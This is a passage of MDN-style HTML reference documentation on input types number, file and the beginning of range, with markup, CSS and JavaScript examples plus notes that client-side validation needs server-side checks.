inputmode="numeric" pattern="\d\*" /> ``` `<input type="number">` elements can help simplify your work when building the user interface and logic for entering numbers into a form. When you create a number input with the proper `type` value, `number`, you get automatic validation that the entered text is a number, and usually a set of up and down buttons to step the value up and down. **Warning:** Logically, you should not be able to enter characters inside a number input other than numbers. Some browsers allow invalid characters, others do not; see [bug 1398528](https://bugzilla.mozilla.org/show_bug.cgi?id=1398528). **Note:** A user can tinker with your HTML behind the scenes, so your site *must not* use simple client-side validation for any security purposes. You *must* verify on the server side any transaction in which the provided value may have security implications of any kind. Mobile browsers further help with the user experience by showing a special keyboard more suited for entering numbers when the user tries to enter a value. ### A simple number input In its most basic form, a number input can be implemented like this: ``` <label for="ticketNum">Number of tickets you would like to buy:</label> <input id="ticketNum" type="number" name="ticketNum" value="0" /> ``` A number input is considered valid when empty and when a single number is entered, but is otherwise invalid. If the [`required`](../input#attr-required) attribute is used, the input is no longer considered valid when empty. **Note:** Any number is an acceptable value, as long as it is a [valid floating point number](https://html.spec.whatwg.org/multipage/infrastructure.html#valid-floating-point-number) (that is, not [NaN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) or [Infinity](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity)). ### Placeholders Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each [`<input>`](../input). This is where **placeholders** come in. A placeholder is a value most commonly used to provide a hint as to the format the input should take `value`. It is displayed inside the edit box when the element's `value` is `""`. Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears. Here, we have an `number` input with the placeholder "`Multiple of 10`". Note how the placeholder disappears and reappears as you manipulate the contents of the edit field. ``` <input type="number" placeholder="Multiple of 10" /> ``` ### Controlling step size By default, the up and down buttons provided for you to step the number up and down will step the value up and down by 1. You can change this by providing a [`step`](../input#attr-step) attribute, which takes as its value a number specifying the step amount. Our above example contains a placeholder saying that the value should be a multiple of 10, so it makes sense to add a `step` value of `10`: ``` <input type="number" placeholder="multiple of 10" step="10" /> ``` In this example, you should find that the up and down step arrows will increase and decrease the value by 10 each time, not 1. You can still manually enter a number that's not a multiple of 10, but it will be considered invalid. ### Specifying minimum and maximum values You can use the [`min`](../input#attr-min) and [`max`](../input#attr-max) attributes to specify a minimum and maximum value that the field can have. For example, let's give our example a minimum of `0`, and a maximum of `100`: ``` <input type="number" placeholder="multiple of 10" step="10" min="0" max="100" /> ``` In this updated version, you should find that the up and down step buttons will not allow you to go below 0 or above 100. You can still manually enter a number outside these bounds, but it will be considered invalid. ### Allowing decimal values One issue with number inputs is that their step size is 1 by default. If you try to enter a number with a decimal (such as "1.0"), it will be considered invalid. If you want to enter a value that requires decimals, you'll need to reflect this in the `step` value (e.g. `step="0.01"` to allow decimals to two decimal places). Here's a simple example: ``` <input type="number" placeholder="1.0" step="0.01" min="0" max="10" /> ``` See that this example allows any value between `0.0` and `10.0`, with decimals to two places. For example, "9.52" is valid, but "9.521" is not. ### Controlling input size [`<input>`](../input) elements of type `number` don't support form sizing attributes such as [`size`](../input#attr-size). You'll have to resort to [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) to change the size of these controls. For example, to adjust the width of the input to be only as wide as is needed to enter a three-digit number, we can change our HTML to include an [`id`](../../global_attributes#id) and to shorten our placeholder since the field will be too narrow for the text we have been using so far: ``` <input type="number" placeholder="x10" step="10" min="0" max="100" id="number" /> ``` Then we add some CSS to narrow the width of the element with the `id` selector `#number`: ``` #number { width: 3em; } ``` The result looks like this: ### Offering suggested values You can provide a list of default options from which the user can select by specifying the [`list`](../input#attr-list) attribute, which contains as its value the [`id`](../../global_attributes#id) of a [`<datalist>`](../datalist), which in turn contains one [`<option>`](../option) element per suggested value. Each `option`'s `value` is the corresponding suggested value for the number entry box. ``` <input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers" /> <span class="validity"></span> <datalist id="defaultNumbers"> <option value="10045678"></option> <option value="103421"></option> <option value="11111111"></option> <option value="12345678"></option> <option value="12999922"></option> </datalist> ``` Validation ---------- We have already mentioned a number of validation features of `number` inputs, but let's review them now: * `<input type="number">` elements automatically invalidate any entry that isn't a number (or empty, unless `required` is specified). * You can use the [`required`](../input#attr-required) attribute to make an empty entry invalid. (In other words, the input *must* be filled in.) * You can use the [`step`](../input#attr-step) attribute to constrain valid values to a certain set of steps (e.g., multiples of 10). * You can use the [`min`](../input#attr-min) and [`max`](../input#attr-max) attributes to constrain valid values to lower and upper bounds. The following example exhibits all of the above features, as well as using some CSS to display valid and invalid icons, depending on the `input`'s value: ``` <form> <div> <label for="balloons">Number of balloons to order (multiples of 10):</label> <input id="balloons" type="number" name="balloons" step="10" min="0" max="100" required /> <span class="validity"></span> </div> <div> <input type="submit" /> </div> </form> ``` Try submitting the form with different invalid values entered — e.g., no value; a value below 0 or above 100; a value that is not a multiple of 10; or a non-numerical value — and see how the error messages the browser gives you differ with different ones. The CSS applied to this example is as follows: ``` div { margin-bottom: 10px; } input:invalid + span::after { content: "✖"; padding-left: 5px; } input:valid + span::after { content: "✓"; padding-left: 5px; } ``` Here we use the [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) and [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) pseudo classes to display an appropriate invalid or valid icon as generated content on the adjacent [`<span>`](../span) element, as a visual indicator of validity. We put it on a separate `<span>` element for added flexibility. Some browsers don't display generated content very effectively on some types of form inputs. (Read, for example, the section on [`<input type="date">` validation](date#validation).) **Warning:** HTML form validation is *not* a substitute for server-side scripts that ensure that the entered data is in the proper format! It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, is of the wrong type, and so forth). ### Pattern validation `<input type="number">` elements do not support use of the [`pattern`](../input#attr-pattern) attribute for making entered values conform to a specific regex pattern. The rationale for this is that number inputs won't be valid if they contain anything except numbers, and you can constrain the minimum and maximum number of valid digits using the [`min`](../input#attr-min) and [`max`](../input#attr-max) attributes (as explained above). Examples -------- We've already covered the fact that by default, the increment is `1`, and you can use the [`step`](../input#attr-step) attribute to allow decimal inputs. Let's take a closer look. In the following example is a form for entering the user's height. It defaults to accepting a height in meters, but you can click the relevant button to change the form to accept feet and inches instead. The input for the height in meters accepts decimals to two places. The HTML looks like this: ``` <form> <div class="metersInputGroup"> <label for="meters">Enter your height — meters:</label> <input id="meters" type="number" name="meters" step="0.01" min="0" placeholder="e.g. 1.78" required /> <span class="validity"></span> </div> <div class="feetInputGroup" style="display: none;"> <span>Enter your height — </span> <label for="feet">feet:</label> <input id="feet" type="number" name="feet" min="0" step="1" /> <span class="validity"></span> <label for="inches">inches:</label> <input id="inches" type="number" name="inches" min="0" max="11" step="1" /> <span class="validity"></span> </div> <div> <input type="button" class="meters" value="Enter height in feet and inches" /> </div> <div> <input type="submit" value="Submit form" /> </div> </form> ``` You'll see that we are using many of the attributes we've already looked at in the article earlier on. Since we want to accept a meter value in centimeters, we've set the `step` value to `0.01`, so that values like *1.78* are not seen as invalid. We've also provided a placeholder for that input. We've hidden the feet and inches inputs initially using `style="display: none;"`, so that meters is the default entry type. Now, onto the CSS. This looks very similar to the validation styling we saw before; nothing remarkable here. ``` div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid + span::after { position: absolute; content: "✖"; padding-left: 5px; } input:valid + span::after { position: absolute; content: "✓"; padding-left: 5px; } ``` And finally, the JavaScript: ``` const metersInputGroup = document.querySelector('.metersInputGroup'); const feetInputGroup = document.querySelector('.feetInputGroup'); const metersInput = document.querySelector('#meters'); const feetInput = document.querySelector('#feet'); const inchesInput = document.querySelector('#inches'); const switchBtn = document.querySelector('input[type="button"]'); switchBtn.addEventListener('click', () => { if (switchBtn.getAttribute('class') === 'meters') { switchBtn.setAttribute('class', 'feet'); switchBtn.value = 'Enter height in meters'; metersInputGroup.style.display = 'none'; feetInputGroup.style.display = 'block'; feetInput.setAttribute('required', ''); inchesInput.setAttribute('required', ''); metersInput.removeAttribute('required'); metersInput.value = ''; } else { switchBtn.setAttribute('class', 'meters'); switchBtn.value = 'Enter height in feet and inches'; metersInputGroup.style.display = 'block'; feetInputGroup.style.display = 'none'; feetInput.removeAttribute('required'); inchesInput.removeAttribute('required'); metersInput.setAttribute('required', ''); feetInput.value = ''; inchesInput.value = ''; } }); ``` After declaring a few variables, an event listener is added to the `button` to control the switching mechanism. This is pretty simple, mostly involving changing over the button's `class` and [`<label>`](../label), and updating the display values of the two sets of inputs when the button is pressed. (Note that we're not converting back and forth between meters and feet/inches here, which a real-life web application would probably do.) **Note:** When the user clicks the button, the `required` attribute(s) are removed from the input(s) we are hiding, and empty the `value` attribute(s). This is so the form can be submitted if both input sets aren't filled in. It also ensures that the form won't submit data that the user didn't mean to. If you didn't do this, you'd have to fill in both feet/inches **and** meters to submit the form! Accessibility ------------- The implicit [role](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles) for the `<input type="number">` element is [`spinbutton`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/spinbutton_role). If spinbutton is not an important feature for your form control, consider *not* using `type="number"`. Instead, use [`inputmode="numeric"`](../../global_attributes/inputmode) along with a [`pattern`](../../attributes/pattern) attribute that limits the characters to numbers and associated characters. With `<input type="number">`, there is a risk of users accidentally incrementing a number when they're trying to do something else. Additionally, if users try to enter something that's not a number, there's no explicit feedback about what they're doing wrong. Also consider using the [`autocomplete`](../../attributes/autocomplete) attribute to help users complete forms more quickly and with fewer chances of errors. For example, to enable autofill on a zip code field, set `autocomplete="postal-code"`. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A [`Number`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number) representing a number, or empty | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`placeholder`](../input#attr-placeholder), [`readonly`](../input#attr-readonly) | | **IDL attributes** | `list`, `value`, `valueAsNumber` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`stepUp()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepUp), [`stepDown()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepDown) | Specifications -------------- | Specification | | --- | | [HTML Standard # number-state-(type=number)](https://html.spec.whatwg.org/multipage/input.html#number-state-(type=number)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `number` | Yes | 12 | Yes | 10 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [HTML forms guide](https://developer.mozilla.org/en-US/docs/Learn/Forms) * [`<input>`](../input) * [`<input type="tel">`](tel) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) * [Article: Why Gov.UK changed the input type for numbers](https://technology.blog.gov.uk/2020/02/24/why-the-gov-uk-design-system-team-changed-the-input-type-for-numbers/)
programming_docs
html <input type="file"> <input type="file"> =================== [`<input>`](../input) elements with `type="file"` let the user choose one or more files from their device storage. Once chosen, the files can be uploaded to a server using [form submission](https://developer.mozilla.org/en-US/docs/Learn/Forms), or manipulated using JavaScript code and [the File API](https://developer.mozilla.org/en-US/docs/Web/API/File_API/Using_files_from_web_applications). Try it ------ Value ----- A file input's [`value`](../input#attr-value) attribute contains a string that represents the path to the selected file(s). If no file is selected yet, the value is an empty string (`""`). When the user selected multiple files, the `value` represents the first file in the list of files they selected. The other files can be identified using the [input's `HTMLInputElement.files` property](https://developer.mozilla.org/en-US/docs/Web/API/File_API/Using_files_from_web_applications#getting_information_about_selected_files). **Note:** The value is [always the file's name prefixed with `C:\fakepath\`](https://html.spec.whatwg.org/multipage/input.html#fakepath-srsly), which isn't the real path of the file. This is to prevent malicious software from guessing the user's file structure. Additional attributes --------------------- In addition to the common attributes shared by all [`<input>`](../input) elements, inputs of type `file` also support the following attributes. ### accept The [`accept`](../../attributes/accept) attribute value is a string that defines the file types the file input should accept. This string is a comma-separated list of **[unique file type specifiers](#unique_file_type_specifiers)**. Because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of a given format. For instance, there are a number of ways Microsoft Word files can be identified, so a site that accepts Word files might use an `<input>` like this: ``` <input type="file" id="docpicker" accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" /> ``` ### capture The [`capture`](../../attributes/capture) attribute value is a string that specifies which camera to use for capture of image or video data, if the [`accept`](../../attributes/accept) attribute indicates that the input should be of one of those types. A value of `user` indicates that the user-facing camera and/or microphone should be used. A value of `environment` specifies that the outward-facing camera and/or microphone should be used. If this attribute is missing, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) is free to decide on its own what to do. If the requested facing mode isn't available, the user agent may fall back to its preferred default mode. **Note:** `capture` was previously a Boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input. ### multiple When the [`multiple`](../../attributes/multiple) Boolean attribute is specified, the file input allows the user to select more than one file. Non-standard attributes ----------------------- In addition to the attributes listed above, the following non-standard attributes are available on some browsers. You should try to avoid using them when possible, since doing so will limit the ability of your code to function in browsers that don't implement them. ### `webkitdirectory` The Boolean `webkitdirectory` attribute, if present, indicates that only directories should be available to be selected by the user in the file picker interface. See [`HTMLInputElement.webkitdirectory`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/webkitdirectory) for additional details and examples. Though originally implemented only for WebKit-based browsers, `webkitdirectory` is also usable in Microsoft Edge as well as Firefox 50 and later. However, even though it has relatively broad support, it is still not standard and should not be used unless you have no alternative. Unique file type specifiers --------------------------- A **unique file type specifier** is a string that describes a type of file that may be selected by the user in an [`<input>`](../input) element of type `file`. Each unique file type specifier may take one of the following forms: * A valid case-insensitive filename extension, starting with a period (".") character. For example: `.jpg`, `.pdf`, or `.doc`. * A valid MIME type string, with no extensions. * The string `audio/*` meaning "any audio file". * The string `video/*` meaning "any video file". * The string `image/*` meaning "any image file". The `accept` attribute takes a string containing one or more of these unique file type specifiers as its value, separated by commas. For example, a file picker that needs content that can be presented as an image, including both standard image formats and PDF files, might look like this: ``` <input type="file" accept="image/\*,.pdf" /> ``` Using file inputs ----------------- ### A basic example ``` <form method="post" enctype="multipart/form-data"> <div> <label for="file">Choose file to upload</label> <input type="file" id="file" name="file" multiple /> </div> <div> <button>Submit</button> </div> </form> ``` This produces the following output: **Note:** You can find this example on GitHub too — see the [source code](https://github.com/mdn/learning-area/blob/main/html/forms/file-examples/simple-file.html), and also [see it running live](https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html). Regardless of the user's device or operating system, the file input provides a button that opens up a file picker dialog that allows the user to choose a file. Including the [`multiple`](file#attr-multiple) attribute, as shown above, specifies that multiple files can be chosen at once. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down `Shift` or `Control`, and then clicking). If you only want the user to choose a single file per `<input>`, omit the `multiple` attribute. ### Getting information on selected files The selected files' are returned by the element's `HTMLInputElement.files` property, which is a [`FileList`](https://developer.mozilla.org/en-US/docs/Web/API/FileList) object containing a list of [`File`](https://developer.mozilla.org/en-US/docs/Web/API/File) objects. The `FileList` behaves like an array, so you can check its `length` property to get the number of selected files. Each `File` object contains the following information: `name` The file's name. `lastModified` A number specifying the date and time at which the file was last modified, in milliseconds since the UNIX epoch (January 1, 1970 at midnight). `lastModifiedDate` Deprecated A [`Date`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) object representing the date and time at which the file was last modified. *This is deprecated and should not be used. Use `lastModified` instead.* `size` The size of the file in bytes. `type` The file's [MIME type](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types). `webkitRelativePath` Non-standard A string specifying the file's path relative to the base directory selected in a directory picker (that is, a `file` picker in which the [`webkitdirectory`](file#attr-webkitdirectory) attribute is set). *This is non-standard and should be used with caution.* **Note:** You can set as well as get the value of `HTMLInputElement.files` in all modern browsers; this was most recently added to Firefox, in version 57 (see [bug 1384030](https://bugzilla.mozilla.org/show_bug.cgi?id=1384030)). ### Limiting accepted file types Often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. For example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as [JPEG](https://developer.mozilla.org/en-US/docs/Glossary/JPEG) or [PNG](https://developer.mozilla.org/en-US/docs/Glossary/PNG). Acceptable file types can be specified with the [`accept`](file#attr-accept) attribute, which takes a comma-separated list of allowed file extensions or MIME types. Some examples: * `accept="image/png"` or `accept=".png"` — Accepts PNG files. * `accept="image/png, image/jpeg"` or `accept=".png, .jpg, .jpeg"` — Accept PNG or JPEG files. * `accept="image/*"` — Accept any file with an `image/*` MIME type. (Many mobile devices also let the user take a picture with the camera when this is used.) * `accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"` — accept anything that smells like an MS Word document. Let's look at a more complete example: ``` <form method="post" enctype="multipart/form-data"> <div> <label for="profile\_pic">Choose file to upload</label> <input type="file" id="profile\_pic" name="profile\_pic" accept=".jpg, .jpeg, .png" /> </div> <div> <button>Submit</button> </div> </form> ``` This produces a similar-looking output to the previous example: **Note:** You can find this example on GitHub too — see the [source code](https://github.com/mdn/learning-area/blob/main/html/forms/file-examples/file-with-accept.html), and also [see it running live](https://mdn.github.io/learning-area/html/forms/file-examples/file-with-accept.html). It may look similar, but if you try selecting a file with this input, you'll see that the file picker only lets you select the file types specified in the `accept` value (the exact interface differs across browsers and operating systems). The `accept` attribute doesn't validate the types of the selected files; it provides hints for browsers to guide users towards selecting the correct file types. It is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types. Because of this, you should make sure that the `accept` attribute is backed up by appropriate server-side validation. ### Notes 1. You cannot set the value of a file picker from a script — doing something like the following has no effect: ``` const input = document.querySelector("input[type=file]"); input.value = "foo"; ``` 2. When a file is chosen using an `<input type="file">`, the real path to the source file is not shown in the input's `value` attribute for obvious security reasons. Instead, the filename is shown, with `C:\fakepath\` prepended to it. There are some historical reasons for this quirk, but it is supported across all modern browsers, and in fact is [defined in the spec](https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly). Examples -------- In this example, we'll present a slightly more advanced file chooser that takes advantage of the file information available in the `HTMLInputElement.files` property, as well as showing off a few clever tricks. **Note:** You can see the complete source code for this example on GitHub — [file-example.html](https://github.com/mdn/learning-area/blob/main/html/forms/file-examples/file-example.html) ([see it live also](https://mdn.github.io/learning-area/html/forms/file-examples/file-example.html)). We won't explain the CSS; the JavaScript is the main focus. First of all, let's look at the HTML: ``` <form method="post" enctype="multipart/form-data"> <div> <label for="image\_uploads">Choose images to upload (PNG, JPG)</label> <input type="file" id="image\_uploads" name="image\_uploads" accept=".jpg, .jpeg, .png" multiple /> </div> <div class="preview"> <p>No files currently selected for upload</p> </div> <div> <button>Submit</button> </div> </form> ``` This is similar to what we've seen before — nothing special to comment on. Next, let's walk through the JavaScript. In the first lines of script, we get references to the form input itself, and the [`<div>`](../div) element with the class of `.preview`. Next, we hide the [`<input>`](../input) element — we do this because file inputs tend to be ugly, difficult to style, and inconsistent in their design across browsers. You can activate the `input` element by clicking its [`<label>`](../label), so it is better to visually hide the `input` and style the label like a button, so the user will know to interact with it if they want to upload files. ``` const input = document.querySelector('input'); const preview = document.querySelector('.preview'); input.style.opacity = 0; ``` **Note:** [`opacity`](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity) is used to hide the file input instead of [`visibility: hidden`](https://developer.mozilla.org/en-US/docs/Web/CSS/visibility) or [`display: none`](https://developer.mozilla.org/en-US/docs/Web/CSS/display), because assistive technology interprets the latter two styles to mean the file input isn't interactive. Next, we add an [event listener](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) to the input to listen for changes to its selected value (in this case, when files are selected). The event listener invokes our custom `updateImageDisplay()` function. ``` input.addEventListener('change', updateImageDisplay); ``` Whenever the `updateImageDisplay()` function is invoked, we: * Use a [`while`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while) loop to empty the previous contents of the preview `<div>`. * Grab the [`FileList`](https://developer.mozilla.org/en-US/docs/Web/API/FileList) object that contains the information on all the selected files, and store it in a variable called `curFiles`. * Check to see if no files were selected, by checking if `curFiles.length` is equal to 0. If so, print a message into the preview `<div>` stating that no files have been selected. * If files *have* been selected, we loop through each one, printing information about it into the preview `<div>`. Things to note here: * We use the custom `validFileType()` function to check whether the file is of the correct type (e.g. the image types specified in the `accept` attribute). * If it is, we: + Print out its name and file size into a list item inside the previous `<div>` (obtained from `file.name` and `file.size`). The custom `returnFileSize()` function returns a nicely-formatted version of the size in bytes/KB/MB (by default the browser reports the size in absolute bytes). + Generate a thumbnail preview of the image by calling [`URL.createObjectURL(curFiles[i])`](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL). Then, insert the image into the list item too by creating a new [`<img>`](../img) and setting its [`src`](../img#attr-src) to the thumbnail. * If the file type is invalid, we display a message inside a list item telling the user that they need to select a different file type. ``` function updateImageDisplay() { while(preview.firstChild) { preview.removeChild(preview.firstChild); } const curFiles = input.files; if (curFiles.length === 0) { const para = document.createElement('p'); para.textContent = 'No files currently selected for upload'; preview.appendChild(para); } else { const list = document.createElement('ol'); preview.appendChild(list); for (const file of curFiles) { const listItem = document.createElement('li'); const para = document.createElement('p'); if (validFileType(file)) { para.textContent = `File name ${file.name}, file size ${returnFileSize(file.size)}.`; const image = document.createElement('img'); image.src = URL.createObjectURL(file); listItem.appendChild(image); listItem.appendChild(para); } else { para.textContent = `File name ${file.name}: Not a valid file type. Update your selection.`; listItem.appendChild(para); } list.appendChild(listItem); } } } ``` The custom `validFileType()` function takes a [`File`](https://developer.mozilla.org/en-US/docs/Web/API/File) object as a parameter, then uses [`Array.prototype.includes()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes) to check if any value in the `fileTypes` matches the file's `type` property. If a match is found, the function returns `true`. If no match is found, it returns `false`. ``` // https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Image\_types const fileTypes = [ "image/apng", "image/bmp", "image/gif", "image/jpeg", "image/pjpeg", "image/png", "image/svg+xml", "image/tiff", "image/webp", "image/x-icon" ]; function validFileType(file) { return fileTypes.includes(file.type); } ``` The `returnFileSize()` function takes a number (of bytes, taken from the current file's `size` property), and turns it into a nicely formatted size in bytes/KB/MB. ``` function returnFileSize(number) { if (number < 1024) { return `${number} bytes`; } else if (number >= 1024 && number < 1048576) { return `${(number / 1024).toFixed(1)} KB`; } else if (number >= 1048576) { return `${(number / 1048576).toFixed(1)} MB`; } } ``` The example looks like this; have a play: Technical Summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing the path to the selected file. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`required`](../input#attr-required) | | **Additional Attributes** | [`accept`](#accept), [`capture`](#capture), [`multiple`](#multiple) | | **IDL attributes** | `files` and `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select) | Specifications -------------- | Specification | | --- | | [HTML Standard # file-upload-state-(type=file)](https://html.spec.whatwg.org/multipage/input.html#file-upload-state-(type=file)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `file` | 1 | 12 | 1 You can set as well as get the value of `HTMLInputElement.files` in all modern browsers; this was most recently added to Firefox, in version 57 (see [bug 1384030](https://bugzil.la/1384030)). | Yes | 11 | 1 | Yes | Yes | 4 | 11 | Yes | Yes | See also -------- * [Using files from web applications](https://developer.mozilla.org/en-US/docs/Web/API/File_API/Using_files_from_web_applications) — contains a number of other useful examples related to `<input type="file">` and the [File API](https://developer.mozilla.org/en-US/docs/Web/API/File). * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) html <input type="range"> <input type="range"> ==================== [`<input>`](../input) elements of type `range` let the user specify a numeric value which must be no less than a given value, and no more than another given value. The precise value, however, is not considered important. This is typically represented using a slider or dial control rather than a text entry box like the <number> input type. Because this kind of widget is imprecise, it should only be used if the control's exact value isn't important. Try it ------ If the user's browser doesn't support type `range`, it will fall back and treat it as a `<text>` input. ### Validation There is no pattern validation available; however, the following forms of automatic validation are performed: * If the [`value`](../input#attr-value) is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering from a bad input. * The value won't be less than [`min`](../input#attr-min). The default is 0. * The value won't be greater than [`max`](../input#attr-max). The default is 100. * The value will be a multiple of [`step`](../input#attr-step). The default is 1. ### Value The [`value`](../input#attr-value) attribute contains a string which contains a string representation of the selected number. The value is never an empty string (`""`). The default value is halfway between the specified minimum and maximum—unless the maximum is actually less than the minimum, in which case the default is set to the value of the `min` attribute. The algorithm for determining the default value is: ``` defaultValue = rangeElem.max < rangeElem.min ? rangeElem.min : rangeElem.min + (rangeElem.max - rangeElem.min) / 2; ``` If an attempt is made to set the value lower than the minimum, it is set to the minimum. Similarly, an attempt to set the value higher than the maximum results in it being set to the maximum. Additional attributes --------------------- In addition to the attributes shared by all [`<input>`](../input) elements, range inputs offer the following attributes. ### list The value of the `list` attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. See the [adding tick marks](#adding_tick_marks) below for an example of how the options on a range are denoted in supported browsers. ### max The greatest value in the range of permitted values. If the [`value`](../input#attr-value) entered into the element exceeds this, the element fails [constraint validation](../../constraint_validation). If the value of the [`max`](../../attributes/max) attribute isn't a number, then the element has no maximum value. This value must be greater than or equal to the value of the [`min`](../../attributes/min) attribute. See the HTML [`max`](../../attributes/max) attribute. ### min The lowest value in the range of permitted values. If the [`value`](../input#attr-value) of the element is less than this, the element fails [constraint validation](../../constraint_validation). If a value is specified for `min` that isn't a valid number, the input has no minimum value. This value must be less than or equal to the value of the [`max`](../../attributes/max) attribute. See the HTML [`min`](../../attributes/min) attribute. **Note:** If the `min` and `max` values are equal or the `max` value is lower than the `min` value the user will not be able to interact with the range. ### step The `step` attribute is a number that specifies the granularity that the value must adhere to. Only values that match the specified stepping interval ([`min`](#min) if specified, [`value`](../input#attr-value) otherwise, or an appropriate default value if neither of those is provided) are valid. The `step` attribute can also be set to the `any` string value. This `step` value means that no stepping interval is implied and any value is allowed in the specified range (barring other constraints, such as [`min`](#min) and [`max`](#max)). See the [Setting step to the `any` value](#setting_step_to_the_any_value) example for how this works in supported browsers. **Note:** When the value entered by a user doesn't adhere to the stepping configuration, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) may round off the value to the nearest valid value, preferring to round numbers up when there are two equally close options. The default stepping value for `range` inputs is 1, allowing only integers to be entered, *unless* the stepping base is not an integer; for example, if you set `min` to -10 and `value` to 1.5, then a `step` of 1 will allow only values such as 1.5, 2.5, 3.5,… in the positive direction and -0.5, -1.5, -2.5,… in the negative direction. See the [HTML `step` attribute](../../attributes/step). Non-standard Attributes ----------------------- ### orient Similar to the -moz-orient non-standard CSS property impacting the [`<progress>`](../progress) and [`<meter>`](../meter) elements, the `orient` attribute defines the orientation of the range slider. Values include `horizontal`, meaning the range is rendered horizontally, and `vertical`, where the range is rendered vertically. **Note:** The following input attributes do not apply to the input range: `accept`, `alt`, `checked`, `dirname`, `formaction`, `formenctype`, `formmethod`, `formnovalidate`, `formtarget`, `height`, `maxlength`, `minlength`, `multiple`, `pattern`, `placeholder`, `readonly`, `required`, `size`, and `src`. Any of these attributes, if included, will be ignored. Examples -------- While the `number` type lets users enter a number with optional constraints forcing their value to be between a minimum and a maximum value, it does require that they enter a specific value. The `range` input type lets you ask the user for a value in cases where the user may not even care—or know—what the specific numeric value selected is. A few examples of situations in which range inputs are commonly used: * Audio controls such as volume and balance, or filter controls. * Color configuration controls such as color channels, transparency, brightness, etc. * Game configuration controls such as difficulty, visibility distance, world size, and so forth. * Password length for a password manager's generated passwords. As a rule, if the user is more likely to be interested in the percentage of the distance between minimum and maximum values than the actual number itself, a range input is a great candidate. For example, in the case of a home stereo volume control, users typically think "set volume at halfway to maximum" instead of "set volume to 0.5". ### Specifying the minimum and maximum By default, the minimum is 0 and the maximum is 100. If that's not what you want, you can easily specify different bounds by changing the values of the [`min`](../input#attr-min) and/or [`max`](../input#attr-max) attributes. These can be any floating-point value. For example, to ask the user for a value between -10 and 10, you can use: ``` <input type="range" min="-10" max="10" /> ``` ### Setting the value's granularity By default, the granularity, is 1, meaning that 